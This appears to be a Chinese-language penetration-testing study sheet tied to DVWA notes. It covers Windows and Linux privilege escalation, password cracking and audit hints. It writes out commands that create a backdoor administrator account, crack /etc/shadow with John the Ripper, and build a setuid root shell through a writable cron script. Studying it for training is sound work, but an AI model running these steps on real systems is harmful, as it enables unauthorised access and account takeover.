链接: https://github.com/dhgdhg/DVWA-Note

  • 提权

    • Win

      • 查看用户登录情况
        • query user
      • 查看当前用户
        • whoami
      • 查看当前系统版本与补丁信息
        • systeminfo
          = 添加管理员用户, 设置密码为123456
        • net user emm 123456 /add
        • net localgroup administrator emm /add
      • 添加远程桌面组
        • net localgroup "Remote Desktop Users" emm /add
      • 查看本机ip, 可加/all参数
        • ipconfig
      • 查看端口情况
        • netstat -ano
      • 查看目录
        • dir C:\
      • 查看指定位置文件内容, 一般为文本文件
        • type C:\asd.txt
      • 写入文本到文件, 特殊字符如<>等前面加^
        • echo emm>1.txt
      • 复制文件
        • copy 1.txt 2.php
      • 将某个路径下的文件重命名
        • rename D:\1.txt emm
      • 查看所有进程占用的端口
        • tasklist
      • 强制结束指定进程, 如 taskkill /im emmm.exe /f
        • taskkill /im 映像名称.exe /f
      • https://github.com/SecWiki/windows-kernel-exploits
      • https://github.com/PowerShellMafia/PowerSploit
      • https://github.com/rasta-mouse/Sherlock
      • https://github.com/brianwrf/WinSystemHelper
    • Linux

      • 大致流程

        1. web shell
        2. 反弹shell
        3. 提权
      • 查看发行版本

        • cat /etc/issue
        • cat /etc/*-release
      • 查看内核版本

        • uname -a
      • 包含用户信息文件

        • /etc/passwd
      • 包含密码信息文件

        • Linux
          • /ect/shadow
        • AIX3
          • /etc/security/passwd
        • BSD 4.x
          • /etc/master.passwd
        • HP-UX
          • /.secure/etc/passwd
      • Linux 系统的加密算法

        • 解密网址: www.cmd5.com/password.aspx
        • Linux操作系统目前采用的常用加密算法, 主要通过账号后面的$x进行判断
          • $1: Md5加密算法
          • $2: Blowfish加密算法
          • $5: Sha-256加密算法
          • $6: Sha-512加密算法
          • 其他格式均为标准DES加密算法
          • 例: `root:...`
      • john破解Linux密码

        • unshadow /etc/passwd /etc/shadow > emm.txt
          • 导出密码列表
        • john --wordlist=password.txt emm.txt
          • 加载密码字典
        • john --show emm.txt
          • 显示破解成功的密码
      • 历史记录, 以及应用配置提权

        • 查看.bash_history文件, 以及一些应用的配置可能会包含密码
      • crontab提权

          • 当root用户的cron文件内容为
              * * * * * /home/a.sh
          • 且普通用户有读写/home/a.sh的权限时
          • 则修改/home/a.sh为, +s表示任何用户允许此文件时均为root权限
              cp /bin/bash /tmp/bash;chmod +s /tmp/bash
          • 当计划执行后会在/tmp下生成bash文件
          • 使用方法 /tmp/bash -p, 则提权成功
        • cron用法
          • 编辑~/.profile文件,在其中加入这样一行:
              EDITOR=vi; export EDITOR
          • 使用方法
            • 新建文件emmcron, 文件内容
                * * * * * echo 1 >> /tmp/tttmp.txt
            • 新建cron job: crontab emmcron
            • service cron restart
              • 新创建的cron job,不会马上执行,至少要过2分钟才执行。如果重启cron则马上执行
            • 查看cron job: crontab -l
            • 删除 cron job: crontab -r
          • crontab文件详解
            • a: a时
            • a-b: 闭区间, a到b之间
            • a,b: a时, b时
            • *: 每一
            • */a: 每隔a
              例子 | 分 钟 0~59 | 小 时 0~23 | 日 1~31 | 月 1~12 | 星 期 0~6 | 运行的命令
            • |-|-|-|-|-|-
              每分钟执行 | * | * | * | * | * | CMD
              每第3到第15分钟之间的每分钟执行 | 3-15 | * | * | * | * | CMD
              每隔3分钟执行 | */3 | * | * | * | * | CMD
              每小时的第3和第15分钟执行 | 3,15 | * | * | * | * | CMD
              每年一月, 每隔两天, 8点到11点之间, 每小时的第3和第15分钟执行 | 3,15 | 8-11 | */2 | 1 | * | CMD
              每天21:30执行 | 30 | 21 | * | * | * | CMD
              星期日, 每分钟重启一次smb | * | * | * | * | 0 | /etc/init.d/smb restart
          • https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
      • https://github.com/mzet-/linux-exploit-suggester

      • https://github.com/SecWiki/linux-kernel-exploits

    • 数据库提权

      • SQL Server
      • MySQL
        • MySQL连接文件一般为conn.php, config.php, common.inc.php, config.inc.php
        • 若mysql不是系统权限, 则提权后也只是mysql用户权限
        • 获取MySQL密码
          • 数据库查询
          • 配置文件读取
          • 下载user文件
            • 获取mysql地址: select @@basedir;
            • 获取mysql插件地址: select @@plugin_dir;
    • thinkphp 代码审计

      • 所有用户可控在表名或表名之前的sql,可能被注入
        • * from * table_name
        • as, 后用户可控,可能被注入
          • as * from
        • 聚合函数中有用户可控,可能被注入
          • count(*) from
      • 直接执行sql语句的,可能被注入
      • order, group, having, 后用户可控,可能被注入
        • order by *
      • 注释, 索引内容, 用户可控,可能被注入
        • /* * */
      • exp(表达式), 的内容用户可控
      • setInc 值增加, 源码中未对参数做类型转换
      • 以字符串查询不做过滤
    • 文件包含

      • 通过zip或phar协议包含文件, 适用于验证包含文件为特定后缀时
    • Py库

      • httphack: 发起http原始数据
      • exrex: 密码生成
      • IPy : 识别ip段
      • dnspython : dns工具包
      • builtwith : 查看网址的web环境信息
    • 获取子域名

    • 指纹识别

      • builtwith库
      • 针对独有文件进行md5匹配
        • 网上有 指纹信息 可以下载后使用下载
      • 特有关键字匹配